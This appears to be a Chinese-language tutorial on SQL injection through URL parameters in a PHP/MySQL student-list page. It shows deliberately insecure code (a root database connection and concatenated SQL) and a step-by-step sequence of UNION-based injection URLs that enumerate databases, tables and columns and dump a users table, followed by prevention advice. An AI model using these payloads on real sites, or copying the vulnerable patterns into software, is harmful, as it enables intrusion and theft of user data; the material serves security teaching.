通过url后面的参数进行sql注入,也是攻击者经常使用 伎俩,主要是利用了程序员使用了root帐户连接数据库和动态拼接sql指令的弊端。
看下面的例子
如果程序使用以下的代码实现上面的功能,无疑给攻击者开放了大门。
连接数据库:conn.php
connect_errno){
printf("连接数据库失败: %s\n", $mysqli->connect_error);
exit();
}
$mysqli->query('set names utf8');
连接数据库千万不要使用root帐户,或者使用一个超级权限的帐户,去连接数据库。
上面代码已经给攻击者预留了可乘之机
显示学生列表 student.php
query($sql);
if($result === false){
die($mysqli->error);
}
$arr = [];
while($row = $result->fetch_array()){
$arr[] = $row;
}
$mysqli->close();
//print_r($arr);
?>
学生列表
学号
姓名
性别
上面代码中动态构建 sql指令,同样给攻击者又开了一扇大门。
下面是模拟攻击者实施的连环计:
在url中依次输入以下地址:
http://phpweb/student.php?no=1001 order by 1 %23 http://phpweb/student.php?no=1001 order by 2 %23 http://phpweb/student.php?no=1001 order by 3 %23 http://phpweb/student.php?no=1001 order by 4 %23 http://phpweb/student.php?no=1001 order by 5 %23
为什么使用的%23而不是#呢,因为由于编码的问题,在浏览器中直接提交#会变成空,所以我们使用url编码后的#,即%23,当传输到后端时,后端语言会对它自动解码成#,才能够成功带入数据库查询。
n依次取1,2,3,4 ....进行测试 当n = 4时,页面出现错误,说明当前查询返回3个字段
当n = 4 时,运行结果如下:
说明sql指令返回三个字段。
输入以下的url
http://phpweb/student.php?no=1001 and 1=2 union select 1,database(),version() %23
由于第一步已经测出查询结果返回3个字段, union 后面的select 指令的字段个数也要是三个
运行结果如下:
从运行的结果看,当前执行的数据库是demo,mysql版本是5.7.26
MySQL版本大于5.0时,有个默认数据库information_schema,里面存放着所有数据库的信息(比如表名、 列名、对应权限等),通过这个数据库,我们就可以跨库查询,爆表爆列。
http://phpweb/student.php?no=1001 and 1=2 union select 1,schema_name,3 from information_schema.schemata limit 0,1 %23
通过调整limit即可遍历出所有的数据库,调整方法为limit 0,1;limit 1,2;limit 2,3……直到出现错误或异常
运行的结果是:
http://phpweb/student.php?no=1001 and 1=2 union select 1,table_name,3 from information_schema.tables where table_schema=数据库名的十六进制 limit 0,1%23
同样可以调整limit的值 字符串=》十六进制,使用函数:bin2hex
攻击结果如下:
从上面的运行结果看,demo数据库中有攻击者关心的用户表users
http://phpweb/student.php?no=1001 and 1=2 union select 1,column_name,3 from information_schema.columns where table_schema=库名十六进制 and table_name=表名十六进制 limit 0,1 %23
可以调整limit的值
运行结果如下:
上面显示了users数据表中各个字段
http://phpweb/student.php?no=1001 and 1=2 union select 1,字段名,字段名 from 库名.表名 limit 0,1 %23
可以调整Limit的值
运行结果如下:
最后一步,攻击者得到users数据表中所有记录,其它数据表同样也能获取数据
如何防范攻击者的sql注入呢?
1.永远不要信任用户的输入。对用户的输入进行校验,可以通过正则表达式,或限制长度;对单引号和 双"-"进行转换等。
2.永远不要使用动态拼装sql,可以使用参数化的sql或者直接使用存储过程进行数据查询存取。
3.永远不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接。
4.不要把机密信息直接存放,加密或者hash掉密码和敏感的信息。
5.应用的异常信息应该给出尽可能少的提示,最好使用自定义的错误信息对原始错误信息进行包装
6.sql注入的检测方法一般采取辅助软件或网站平台来检测,软件一般采用sql注入检测工具jsky,网站平台就有亿思网站安全平台检测工具。MDCSOFT SCAN等。采用MDCSOFT-IPS可以有效的防御SQL注入,XSS攻击等。